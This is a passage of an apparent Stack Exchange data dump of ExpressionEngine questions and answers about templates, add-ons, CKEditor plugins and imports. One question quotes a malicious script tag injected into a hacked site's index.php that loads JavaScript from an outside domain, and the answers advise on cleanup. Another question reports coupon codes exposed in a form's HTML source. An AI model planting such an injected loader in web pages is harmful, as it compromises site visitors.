disable=&quot;categories|member_data|category_fields&quot;&#xA;}&#xA;&#xA;   {if channel_name == &quot;calendar_events&quot;}&#xA;      {exp:calendar:events event_id=&quot;{entry_id}&quot;}&#xA;         Very first start date: {event_first_date format=&quot;%Y.%m.%d&quot;}&#xA;         Very last end date: {event_last_date format=&quot;%Y.%m.%d&quot;}&#xA;      {/exp:calendar:events}&#xA;   {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-09-26T03:28:30.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25908" PostTypeId="2" ParentId="21023" CreationDate="2014-09-26T04:59:39.247" Score="1" Body="&lt;p&gt;The issue is that in a checkbox field, neither &quot;Populate the menu manually&quot; or &quot;Populate the menu from another channel field&quot; has been selected. Choose any of them and the error will be gone :D&lt;/p&gt;&#xA;" OwnerUserId="3627" LastActivityDate="2014-09-26T04:59:39.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25909" PostTypeId="2" ParentId="10847" CreationDate="2014-09-26T08:42:13.317" Score="0" Body="&lt;p&gt;You could try this. It worked for me, allowing multiple image selection in assets.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{relationship_field}&#xA;    {relationship_field:assets_field parse=&quot;inward&quot;}&#xA;        {url}&#xA;    {/relationship_field:assets_field}&#xA;{/relationship_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2014-09-26T08:42:13.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25910" PostTypeId="2" ParentId="25905" CreationDate="2014-09-26T12:13:22.760" Score="2" Body="&lt;p&gt;You can 't use freebie this way because the freebie segments are parsed after the Channel Module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My suggestion is to use freebie before the embed, on the parent template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to suggest you a code, but I couldn't figure what is the &lt;code&gt;category2&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the closest I could get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;foo/bar&quot;&#xA;    {if freebie_break_1}&#xA;        category=&quot;{freebie_break_1}&quot;&#xA;    {if:else}&#xA;        category=&quot;DEFAULT_CATEGORY&quot;&#xA;    {/if}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-09-26T12:13:22.760" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25911" PostTypeId="1" CreationDate="2014-09-26T16:51:07.713" Score="0" ViewCount="53" Body="&lt;p&gt;I'm working on an older site that was setup using Low Search. There are two main categories, and I need to add the blog into a collection, so that I can set the overall site search to pull entries from the blog. However, when I go to low search and attempt to set up a collection from the &quot;blog&quot; channel, that channel, and any other within its &quot;blog&quot; category are not available to create a collection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been searching for a while, and can't seem to find the answer to this specific question, however I also don't have much experience with this particular plugin, so I apologize if I'm overlooking something simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I only create collections from channels within one category group?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This site is running an older version of Low Search, v1.1.0.&lt;/p&gt;&#xA;" OwnerUserId="3628" LastActivityDate="2014-10-27T09:50:27.617" Title="Low Search - Cannot add collection from channels from category group" Tags="|categories|channel|low-search|low|category-group|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25913" PostTypeId="2" ParentId="25341" CreationDate="2014-09-26T18:03:53.860" Score="0" Body="&lt;p&gt;I'm going to go out on a limb and say that something else is wrong with what you're doing/trying to do. I import ~1400 records, comprising over 40,000 lines of xml, and I only split the XML file into 3 files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you up your PHP memory limit (512MB is well more than enough; mine is 128MB) and it's not importing your records properly, then there's possibly an issue with the way you have your fields mapped in your import configuration. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternately, you may have &lt;em&gt;set&lt;/em&gt; your PHP memory allocation to 512MB, but it might not be set in the correct location or it might be being overridden by a config elsewhere. Create a php file that you can visit in your browser and add the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$memory_limit = ini_get('memory_limit');&#xA;&#xA;echo $memory_limit;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will output what the server is seeing as the PHP memory limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, there while you can set PHP to have 512MB of RAM as its limit, this means nothing if you don't have that much available on your host/server. You might be running out of system memory, and not necessarily PHP-allocated-memory. Does that make sense? &lt;/p&gt;&#xA;" OwnerUserId="819" LastActivityDate="2014-09-26T18:03:53.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25915" PostTypeId="2" ParentId="25900" CreationDate="2014-09-26T19:28:25.187" Score="0" Body="&lt;p&gt;I'm not sure you can do this without a custom extension/module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a similar scenario where different ordered products needed to be notified to various email addresses. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did was add a hidden product option field with a unique variable, in my case with unique values of either &quot;xProduct&quot; or &quot;xEvent&quot;. This gets stored as a custom field in the order data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The value is written to the admin email template, just output as a data field somewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All order emails go to a central mailbox but I then used server side email filtering, any emails that contained the (unique) word xEvent would be cc'd to events@domain.com, and any that contained xProduct cc'd to orders@domain.com.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2014-09-26T19:28:25.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25916" PostTypeId="1" CreationDate="2014-09-26T21:28:16.787" Score="0" ViewCount="21" Body="&lt;p&gt;In ExpressionEngine 2.8+ with Primary Category 2.3 I am unable to see the Green Plus signs or do anything to add the Primary Category. I attempted with a clean install of EE in a testing environment and was unable to see them there as well. Am I missing a step or is this a bug?&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2014-09-26T21:28:16.787" Title="Primary Category no green plus sign" Tags="|solspace|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="25918" PostTypeId="1" AcceptedAnswerId="25921" CreationDate="2014-09-27T03:59:36.147" Score="0" ViewCount="47" Body="&lt;p&gt;I would to know if it's possible to use ajax with Low Alphabet. &#xA;I did a alphabet glossary,  each time the letter is clicked,  the whole page is loaded.  How to use ajax to reload only the Low Alphabet window? &lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-09-27T08:45:41.330" Title="Low Alphabet and ajax" Tags="|ajax|low-alphabet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25919" PostTypeId="2" ParentId="25848" CreationDate="2014-09-27T07:36:07.250" Score="0" Body="&lt;p&gt;Did you disable &quot;require password confirmation&quot; in the settings? &lt;a href=&quot;http://ee-zoo.com/docs/visitor/start/overview.html#flexible-member-data-settings&quot; rel=&quot;nofollow&quot;&gt;http://ee-zoo.com/docs/visitor/start/overview.html#flexible-member-data-settings&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="749" LastActivityDate="2014-09-27T07:36:07.250" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25920" PostTypeId="2" ParentId="25911" CreationDate="2014-09-27T08:35:55.147" Score="1" Body="&lt;p&gt;I'm not entirely sure what you mean by &lt;em&gt;&quot;that channel, and any other within its &quot;blog&quot; category are not available to create a collection&quot;&lt;/em&gt;, but Low Search Collections do not take categories or category groups into account. Collections are made &lt;em&gt;per channel&lt;/em&gt;, regardless of category, category group, status, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, I recommend upgrading to the latest version.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-09-27T08:35:55.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25921" PostTypeId="2" ParentId="25918" CreationDate="2014-09-27T08:45:41.330" Score="1" Body="&lt;p&gt;This actually has little to do with the workings of Low Alphabet itself. Rather, it's a JavaScript question, along with some smart templating to allow for proper ajax requests. Steps to take:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create 2 templates: 1 for the full page, and 1 just for the low_alphabet:entries tag.&lt;/li&gt;&#xA;&lt;li&gt;Embed the latter in the former, but make sure the second template is also approachable directly.&lt;/li&gt;&#xA;&lt;li&gt;In the main template, add the AZ-List tag, with regular links.&lt;/li&gt;&#xA;&lt;li&gt;With JS, add an onclick event to those links, triggering an Ajax call to embedded template, and add the output to the main page.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The same principle could be applied to any EE content that needs to be called via Ajax.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-09-27T08:45:41.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25922" PostTypeId="1" AcceptedAnswerId="25942" CreationDate="2014-09-27T18:50:54.453" Score="0" ViewCount="70" Body="&lt;p&gt;I'm trying to update lots of parent entries in channel with new zoo visitor members using Importer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've finally worked out how to import the members using Solspace Importer, then used Datagrab to populate the Zoo visitor channel and create the entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to use Importer to link them to the correct Playa parent categories. However, I can't seem to do this without overwriting (and hence erasing) the original playa field content... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically what's happening is any new entry (member) I try and add to the parent channel entry, just overwrites all the existing members that are children of that entry. I just want to add them to the parent as another child entry as opposed to overwrite the whole lot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I go about doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3602" LastActivityDate="2014-09-29T14:10:56.790" Title="Solspace Importer - How to update playa field without overwriting" Tags="|solspace|zoo-visitor|datagrab|solspace-importer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25923" PostTypeId="2" ParentId="25808" CreationDate="2014-09-27T21:59:14.947" Score="1" Body="&lt;p&gt;Answering my own question in case others have a similar issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I reverted to only using the {exp:channel:entries} tag with the url_title peremeter set to {last_segment} like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;cities&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    url_title=&quot;{last_segment}&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Simple.&lt;/p&gt;&#xA;" OwnerUserId="1465" LastActivityDate="2014-09-27T21:59:14.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25925" PostTypeId="1" CreationDate="2014-09-28T05:46:51.477" Score="1" ViewCount="426" Body="&lt;p&gt;Using Wygwam 3.3.2 and ExpressionEngine 2.9.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to get the Enhanced Image plugin (&lt;a href=&quot;http://ckeditor.com/addon/image2&quot; rel=&quot;nofollow&quot;&gt;http://ckeditor.com/addon/image2&lt;/a&gt;) for ckeditor added to our Wygwam installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have followed the instructions for adding ckeditor plugins to Wygwam to a tee: &lt;a href=&quot;http://docs.pixelandtonic.com/wygwam/developers/ckeditor_plugins.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.pixelandtonic.com/wygwam/developers/ckeditor_plugins.html&lt;/a&gt;. I have also made sure I've installed all of the proper dependencies for this particular plugin. For all plugins, I installed the latest versions that are compatible with ckeditor 4.3, which is what is still packaged with Wygwam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Wygwam configurator I can see the plugin just fine and I can add it to my configuration. However, on the Publish page I am getting this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Uncaught TypeError: undefined is not a function plugin.js?t=E49C:3200&#xA;(anonymous function) plugin.js?t=E49C:3200&#xA;(anonymous function) plugin.js?t=E49C:3359&#xA;(anonymous function) plugin.js?t=E49C:3368&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can see the following code being output to the page correctly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;CKEDITOR.plugins.addExternal(&quot;clipboard&quot;, &quot;http://gsp.kixo.co/themes/third_party/ckeditor_clipboard/&quot;);&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;CKEDITOR.plugins.addExternal(&quot;dialogui&quot;, &quot;http://gsp.kixo.co/themes/third_party/ckeditor_dialogui/&quot;);&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;CKEDITOR.plugins.addExternal(&quot;dialog&quot;, &quot;http://gsp.kixo.co/themes/third_party/ckeditor_dialog/&quot;);&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;CKEDITOR.plugins.addExternal(&quot;image2&quot;, &quot;http://gsp.kixo.co/themes/third_party/ckeditor_enhanced_image/&quot;);&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;CKEDITOR.plugins.addExternal(&quot;lineutils&quot;, &quot;http://gsp.kixo.co/themes/third_party/ckeditor_lineutils/&quot;);&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;CKEDITOR.plugins.addExternal(&quot;widget&quot;, &quot;http://gsp.kixo.co/themes/third_party/ckeditor_widget/&quot;);&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    Wygwam.configs[&quot;3&quot;] = {&#xA;        &quot;skin&quot;: &quot;wygwam3&quot;,&#xA;        &quot;toolbarCanCollapse&quot;: false,&#xA;        &quot;dialog_backgroundCoverOpacity&quot;: 0,&#xA;        &quot;entities_processNumerical&quot;: true,&#xA;        &quot;forcePasteAsPlainText&quot;: true,&#xA;        &quot;toolbar&quot;: [[&quot;Bold&quot;,&quot;Italic&quot;,&quot;Underline&quot;],[&quot;NumberedList&quot;,&quot;BulletedList&quot;],[&quot;Subscript&quot;,&quot;Superscript&quot;],[&quot;Link&quot;,&quot;Unlink&quot;],[&quot;Image2&quot;],[&quot;HorizontalRule&quot;],[&quot;Styles&quot;],[&quot;Source&quot;],[&quot;Maximize&quot;]],&#xA;        &quot;height&quot;: &quot;200&quot;,&#xA;        &quot;resize_enabled&quot;: true,&#xA;        &quot;contentsCss&quot;: [&quot;\/assets\/css\/ckeditor.css&quot;],&#xA;        &quot;language&quot;: &quot;en&quot;,&#xA;        &quot;autoGrow_minHeight&quot;: &quot;200&quot;,&#xA;        &quot;extraPlugins&quot;: &quot;wygwam,readmore,stylesheetparser,clipboard,dialogui,dialog,image2,lineutils,widget&quot;,&#xA;        &quot;filebrowserBrowseFunc&quot;: function(params) { Wygwam.loadAssetsSheet(params, &quot;ee:9&quot;, &quot;any&quot;); },&#xA;        &quot;filebrowserImageBrowseFunc&quot;: function(params) { Wygwam.loadAssetsSheet(params, &quot;ee:9&quot;, &quot;image&quot;); },&#xA;        &quot;filebrowserFlashBrowseFunc&quot;: function(params) { Wygwam.loadAssetsSheet(params, &quot;ee:9&quot;, &quot;flash&quot;); },&#xA;        &quot;link_types&quot;: {&quot;Site Page&quot;:[{&quot;label&quot;:&quot;Albums&quot;,          &quot;url&quot;:&quot;http:\/\/gsp.kixo.co\/albums&quot;},{&quot;label&quot;:&quot;Engagement&quot;,            &quot;url&quot;:&quot;http:\/\/gsp.kixo.co\/portfolio\/engagement&quot;},{&quot;label&quot;:&quot;Home&quot;,           &quot;url&quot;:&quot;http:\/\/gsp.kixo.co\/&quot;},{&quot;label&quot;:&quot;Photo&quot;,           &quot;url&quot;:&quot;http:\/\/gsp.kixo.co\/photo&quot;},{&quot;label&quot;:&quot;Portfolio&quot;,          &quot;url&quot;:&quot;http:\/\/gsp.kixo.co\/portfolio&quot;},{&quot;label&quot;:&quot;Video&quot;,          &quot;url&quot;:&quot;http:\/\/gsp.kixo.co\/portfolio\/video&quot;},{&quot;label&quot;:&quot;Wedding&quot;,             &quot;url&quot;:&quot;http:\/\/gsp.kixo.co\/portfolio\/wedding&quot;}]}&#xA;    };&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see that &lt;strong&gt;image2&lt;/strong&gt; (the Enhanced Plugin that we're trying to get working) is being loaded and is present in the extraPlugins configuration array and is also present in the toolbar configuration array. I'm really not sure what could be going wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does my plugin show up in the Wygwam configurator but not on the Publish page?&lt;/p&gt;&#xA;" OwnerUserId="1454" LastEditorUserId="1454" LastEditDate="2014-09-28T06:59:44.983" LastActivityDate="2017-09-15T14:34:13.797" Title="CKEditor Plugin Shows In Wygwam Configurator But Is Hidden From Publish Page" Tags="|wygwam|ckeditor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25926" PostTypeId="1" CreationDate="2014-09-28T10:14:12.683" Score="1" ViewCount="46" Body="&lt;p&gt;I have a site that I'm working on for the Boy Scouts: LHCBSA.info, they have a current site: LHCBSA.org. We are ready (almost) to switch over to the new site (LHCBSA.org would then point to the host for LHCBSA.info). When we are ready to do this I will simply change the DNS recorded for LHCBSA.org (no problem there, just changing where the @ record points to). My question is this... what will I need (if anything) to change in EE to make sure that when someone is visiting our site they will always have a .org address (we are keeping the .info address, i just don't want any one to use it)? EE was setup using the .info address so I'm assuming that after i change over to the .org address there will be something i will need to change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3633" LastActivityDate="2014-09-28T10:48:04.883" Title="URL Changes (Host is not changing)" Tags="|url|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25927" PostTypeId="2" ParentId="25926" CreationDate="2014-09-28T10:48:04.883" Score="2" Body="&lt;p&gt;Nicholas,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest thing for your to do is to change all your relevant paths/urls using either &lt;a href=&quot;http://devot-ee.com/add-ons/deeploy-helper&quot; rel=&quot;nofollow&quot;&gt;Deploy Helper $15&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/reelocate&quot; rel=&quot;nofollow&quot;&gt;Reelocate (free)&lt;/a&gt;.  My presonal preference is for Deploy Helper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you've set your site up using a multi environment such as the &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;FocusLab Master Config&lt;/a&gt; set up then there'll be nothing you need to do as everything will just work.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-09-28T10:48:04.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25928" PostTypeId="2" ParentId="25925" CreationDate="2014-09-28T13:29:37.067" Score="1" Body="&lt;p&gt;The plugin lists Widget, Line Utilities, Dialog, and Clipboard as dependencies, but it looks like &lt;code&gt;lineutils&lt;/code&gt; and &lt;code&gt;widget&lt;/code&gt; are both getting added &lt;em&gt;after&lt;/em&gt; &lt;code&gt;image2&lt;/code&gt;. I’m betting that’s your problem. If you click on the filename next to the error in your browser’s console, it should take you to the line in the file that is causing the JS error, which might provide additional context (assuming it’s not compressed).&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2014-09-28T13:29:37.067" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25930" PostTypeId="1" AcceptedAnswerId="25932" CreationDate="2014-09-29T01:39:48.547" Score="0" ViewCount="495" Body="&lt;p&gt;Does anyone know or have any info on EE's index.php having Akismet plugin code in it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I logged into one of my EE installations today and was greeted by the message: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;One or more core files have been altered: &amp;lt;ee/install/path&amp;gt;/index.php&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is a line being injected into the bottom of my pages: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;/html&amp;gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://pfadfinder-fallingbostel.de/kjfdqhrp.php?id=7477523&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The script line is at the bottom of a lot of Akismet code in my index.php file that I cannot seem to find in any of my other EE installations running Freeform as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Details: EE v.2.8.1, Freeform v.4.1.5, cPanel Hosting (WHM WHM 11.44.1 (build 18) - CENTOS 6.5 x86_64), No other no-spam software installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot for start and stop of Akismet code in index.php:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/m3Puh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1134" LastActivityDate="2014-09-29T09:33:21.637" Title="Hacked? Modified index.php contains Akismet code with strange URL" Tags="|solspace-freeform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25932" PostTypeId="2" ParentId="25930" CreationDate="2014-09-29T04:58:10.787" Score="2" Body="&lt;p&gt;I don't know ee add-ons which will modify index.php, so this is wrong code in any case. Only question how it was done.  EE hack I can put on the last place - I can't say that ee is  100% protected, but it is happens soo rare and not like this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually users lost they ftp/sftp login/pass. So change your pass. Also make sure that you have last server update.&#xA;Do you have any other sites on the same server? pfadfinder-fallingbostel.de - is it your site? Some times hack can be done using other, less protected sites on the same server. Or even other sites on  the same server can add this info by mistaken (once customer setup wrong path in Wordpress, targeted folder with EE on the same server).&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-09-29T04:58:10.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25933" PostTypeId="1" CreationDate="2014-09-29T05:08:05.103" Score="0" ViewCount="24" Body="&lt;p&gt;It's all good on a refresh, but once the form is submitted, all goes wacky.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:dynamo:form return=&quot;/events_keynote&quot; search_id=&quot;{segment_2}&quot;}&#xA;&#xA;{exp:low_yearly_archives channel=&quot;public_events&quot; end_year=&quot;2013&quot; status=&quot;not closed&quot; sort=&quot;desc&quot;}&#xA;      {if year_count == 1}&#xA;      &amp;lt;div class=&quot;input-group margin-bottom-20&quot;&amp;gt;&#xA;        &amp;lt;select name=&quot;year&quot; class=&quot;form-control&quot;&amp;gt;&#xA;          &amp;lt;option value=&quot;&quot;&amp;gt;Year&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;&quot;&amp;gt;All Years&amp;lt;/option&amp;gt;&#xA;          {/if}&#xA;          &amp;lt;option value=&quot;{year}&quot;&amp;gt;{year}&amp;lt;/option&amp;gt;&#xA;          {if year_count == total_years}&#xA;          &amp;lt;/select&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;      {/if}&#xA;      {/exp:low_yearly_archives}&#xA;&#xA;{/exp:dynamo:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After a submit, all the yearly option values become blank. I have tried parse inward, dynamic=no, etc.... nothing will seem to make it work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something I am doing wrong or are these two plugins just simply incompatible? If so, it really unfortunate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mike&lt;/p&gt;&#xA;" OwnerUserId="2991" LastActivityDate="2016-06-02T18:30:33.637" Title="Low Yearly Archives inside dynamo form?" Tags="|low-yearly-archives|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25934" PostTypeId="1" CreationDate="2014-09-29T08:57:23.443" Score="0" ViewCount="66" Body="&lt;p&gt;Has anyone come across with the COUPONS field within DevDemon Forms 3.4.12 and it's security implications with regards to disclosing the &lt;em&gt;codes&lt;/em&gt; along with the discounts within the HTML source code to the end-user?&lt;/p&gt;&#xA;&#xA;{&quot;DEPOSIT&quot;:{&quot;label&quot;:&quot;DEPOSIT 40%&quot;,&quot;code&quot;:&quot;DEPOSIT&quot;,&quot;discount&quot;:&quot;60%&quot;,&quot;limit&quot;:&quot;&quot;}}&#xA;&#xA;&lt;p&gt;As implemented anyone would be able to see and effectively apply the discounts they want!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone here had changed the code as to 'APPLY' the COUPON and recalculate based on an AJAX request or Server Side check, please let us know!! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="3559" LastActivityDate="2016-06-15T13:05:13.257" Title="DevDemon FORMS 3.4.12 Coupons Field Security issue" Tags="|forms|devdemon|devdemon-forms|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25936" PostTypeId="2" ParentId="25930" CreationDate="2014-09-29T09:33:21.637" Score="1" Body="&lt;p&gt;Absolutely without doubt a hack. I don't know for sure but I'm 99.99% certain that no add-on will change your index.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at what I can see from your image my guess is that this is actually targeted at Wordpress sites and trying to pass itself off as the Akismet plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Max says, it's most likely down to some other site running on the same server presenting a hole into which the attacker can get access and scour the server for index.php files to inject code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notify your host, noting the date and time that the file was altered. It may also be worth notifying the owner of pfadfinder-fallinghostel that their site has been compromised (the script residing there tries to redirect to another URL which, when I tested it, was unavailable).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, replace your index.php file with a clean one and check file permissions. You may also want to have a look round your site for any further additions (including within your htaccess file).&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-09-29T09:33:21.637" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25937" PostTypeId="1" CreationDate="2014-09-29T10:23:45.810" Score="0" ViewCount="53" Body="&lt;p&gt;Ok here is the tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries dynamic=&quot;no&quot;}&#xA;    {download_listing  sort=&quot;desc&quot;}&#xA;          &amp;lt;ul&amp;gt;&#xA;            &amp;lt;p&amp;gt;&#xA;              &amp;lt;button data-toggle=&quot;modal&quot; href=&quot;#myModal&quot; class=&quot;btn-small pull-left&quot; onclick=&quot;location.href='#';&quot;&amp;gt;{title} &amp;lt;/button&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;            &amp;lt;div class=&quot;modal&quot; id=&quot;myModal&quot;&amp;gt;&#xA;              &amp;lt;div class=&quot;modal-dialog&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;modal-content&quot;&amp;gt;&#xA;                  &amp;lt;div class=&quot;modal-header&quot;&amp;gt;&#xA;                    &amp;lt;button type=&quot;button&quot; class=&quot;close&quot; data-dismiss=&quot;modal&quot; aria-hidden=&quot;true&quot;&amp;gt;×&amp;lt;/button&amp;gt;&#xA;                    &amp;lt;h4 class=&quot;modal-title&quot;&amp;gt;{row_id} {row_count} of {total_rows}: {title} &amp;lt;/h4&amp;gt;&#xA;                  &amp;lt;/div&amp;gt;&#xA;                  &amp;lt;div class=&quot;modal-body&quot;&amp;gt; &amp;lt;img src=&quot;{listing_image}&quot; alt=&quot;&quot; class=&quot;pull-left&quot;&amp;gt;&#xA;                    &amp;lt;p&amp;gt;{row_id} {listing_describtion} &amp;lt;/p&amp;gt;&#xA;                  &amp;lt;/div&amp;gt;&#xA;                  &amp;lt;div class=&quot;modal-footer&quot;&amp;gt; &amp;lt;a href=&quot;#&quot; data-dismiss=&quot;modal&quot; class=&quot;btn&quot;&amp;gt;Close&amp;lt;/a&amp;gt; &amp;lt;a href=&quot;{listing_doc}&quot; target=“_blank” class=&quot;btn btn-primary&quot;&amp;gt;Download PDF&amp;lt;/a&amp;gt; &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;              &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;          &amp;lt;/ul&amp;gt;&#xA;    {/download_listing}&#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and here is the link:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://boardmans.happytesting.co.uk/download&quot; rel=&quot;nofollow&quot;&gt;http://boardmans.happytesting.co.uk/download&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sa you can see i am getting the name on each buttons correct but when you click on each button the data inside; 